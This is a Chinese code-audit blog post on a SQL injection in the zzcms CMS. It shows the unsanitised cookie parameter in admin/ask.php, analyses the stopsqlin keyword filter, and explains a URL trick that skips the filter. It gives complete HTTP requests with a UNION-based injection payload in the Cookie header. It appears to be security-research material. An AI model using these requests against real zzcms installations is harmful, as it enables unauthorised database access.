(代码审计)zzcms前台SQL注入

1、首先通过Seay源码审计工具发现存在admin/ask.phpSQL注入漏洞

2、根据提示定位到这段代码

<?php
echo "123";
if ($_COOKIE["askbigclassid"] != "") {
    $sql = "select * from zzcms_askclass where parentid=" . $_COOKIE["askbigclassid"] . " order by xuhao asc";
    $rs = query($sql); 
    while ($row = fetch_array($rs)) {
        ?>
        <option value="<?php echo $row["classid"] ?>" <?php if ($row["classid"] == @$_COOKIE["asksmallclassid"]) {
            echo "selected";
        } ?>><?php echo $row["classname"] ?></option>
        <?php
    }
}

3、可以看到在这段代码当中对Cookie传入的askbigclassid参数并没有做任何的校验,我们可以先在本地数据库尝试执行这段SQL语句

select * from zzcms_askclass where parentid= 1 order by xuhao asc

4、如上图所示,是可以正常查询的,然后我们构造SQL注入的语句,可以看到执行成功

select * from zzcms_askclass where parentid= 1 union select user(),1,3,4,5,6,7,8,9,10,11 order by xuhao asc

5、如此我们就可以构造如下payload进行注入测试

GET /admin/ask.php?do=add HTTP/1.1
Host: www.zzcms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Cookie: askbigclassid=-1 union select user(),2,3,4,5,6,7,8,9,10,11
Connection: close

6、可以看到我们传入构造好的payload后被拦截了,根据返回包中的内容我们定位到以下代码

// zzcms201910/inc/stopsqlin.php
function stopsqlin($str){
if(!is_array($str)) {//有数组数据会传过来比如代理留言中的省份$_POST['province'][$i]
    $str=strtolower($str);//否则过过滤不全
    
    $sql_injdata = "";
    $sql_injdata= $sql_injdata."|".stopwords;
    $sql_injdata=CutFenGeXian($sql_injdata,"|");
    
    $sql_inj = explode("|",$sql_injdata);
    for ($i=0; $i< count($sql_inj);$i++){
        if (@strpos($str,$sql_inj[$i])!==false) {showmsg ("参数中含有非法字符 [".$sql_inj[$i]."] 系统不与处理");}
    }
}   
}

从这段代码中可以看到,首先将我们输入的数据转换为小写,然后调用了CutFenGeXian()函数,跟进看一下

// zzcms201910/inc/stopsqlin.php
function CutFenGeXian($str,$xian){
    for($i=0; $i<substr_count($str,$xian);$i++){
        if (substr($str,-1,1)==$xian){//去最后一个|
        $str=substr($str,0,strlen($str)-1);
        }
        if (substr($str,0,1)==$xian){//去第一个|
        $str=substr($str,1);
        }
    }

这段代码是对$sql_injdata进行了一个处理($str==$sql_injdata),在stopsqlin()函数中我们可以发现stopwords字段,根据查询发现stopwords为如下内容

// zzcms201910/inc/config.php
define('stopwords','select|update|and|or|delete|insert|truncate|char|into|iframe|script|得普利麻|易瑞沙|益赛普|赫赛汀|日达仙|百泌达|多吉美|拜科奇|赛美维|施多宁|派罗欣|妥塞敏|格列卫|特罗凯|手机窃听器|手枪')

CutFenGeXian()函数呢也是对这段字符串做了处理,最终我们得到的$sql_injdata如下

$sql_injdata=select|update|and|or|delete|insert|truncate|char|into|iframe|script|得普利麻|易瑞沙|益赛普|赫赛汀|日达仙|百泌达|多吉美|拜科奇|赛美维|施多宁|派罗欣|妥塞敏|格列卫|特罗凯|手机窃听器|手枪

7、我们继续跟代码

我们注意到如下代码

// zzcms201910/inc/stopsqlin.php
function zc_check($string){
    if(!is_array($string)){
        if(get_magic_quotes_gpc()){
        return htmlspecialchars(trim($string));
        }else{
        return addslashes(htmlspecialchars(trim($string)));
         // addslashes   在转义字符之前添加反斜线的字符串,主要用于防止SQL注入
         // htmlspecialchars  将特殊字符转换为 HTML 实体
        }
     }
    foreach($string as $k => $v) $string[$k] = zc_check($v);
    return $string;
}
    
if($_REQUEST){
    $_POST =zc_check($_POST);
    $_GET =zc_check($_GET);
    $_COOKIE =zc_check($_COOKIE);
    @extract($_POST);
    @extract($_GET);    
}

这里是一个全局变量检查,通过zc_check()这个函数将所有传入的GET和POST还有Cookie都进行检测,值得注意的是extract()函数

extract()这个函数可以在上下文中产生一个新的变量,在赋值给一个值,这里可以理解为在上下文中定义一个自己的变量

例如:

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
// $a = Cat; $b = Dog; $c = Horse

然后我们来到最后一段代码

$r_url=strtolower($_SERVER["REQUEST_URI"]);
if (checksqlin=="Yes") {
if (strpos($r_url,"siteconfig.php")==0 && strpos($r_url,"label")==0 && strpos($r_url,"template.php")==0) {
foreach ($_GET as $get_key=>$get_var){ stopsqlin($get_var);} /* 过滤所有GET过来的变量 */      
foreach ($_POST as $post_key=>$post_var){ stopsqlin($post_var); }/* 过滤所有POST过来的变量 */
foreach ($_COOKIE as $cookie_key=>$cookie_var){ stopsqlin($cookie_var); }/* 过滤所有COOKIE过来的变量 */
foreach ($_REQUEST as $request_key=>$request_var){ stopsqlin($request_var); }/* 过滤所有request过来的变量 */
}
}

它先会获取我们当前请求的url,然后再进行两次if条件的判断,可以注意到只有第二个if条件为true时才会进行去调用stopsqlin()函数,简单来说就是当第二个if条件为true就会对我们传入的GET,POST,Cookie参数进行过滤,所以我们可以去构造payload去破坏掉这个if条件

strpos($r_url,"siteconfig.php")==0
strpos($r_url,"label")==0
strpos($r_url,"template.php")==0)

配合之前的extract()函数去传入任意一个参数破坏掉第二个if条件即可


我们可以得到一个绕过流程

1.首先获取GET和COOKIE参数(GET传参时必须包含上述if条件中的三个值之一),传入zc_check()中进行过滤
​
2.然后获取当前请求的url,通过判断,判断失败直接跳过stopsqlin()这个函数,不对危险字符检查,从而绕过WAF限制

构造payload

GET /admin/ask.php?do=add&a=siteconfig.php HTTP/1.1
Host: www.zzcms.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://www.zzcms.com/admin/ask.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: askbigclassid=-1 union select user(),2,3,4,5,6,7,8,9,10,11
Connection: close

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值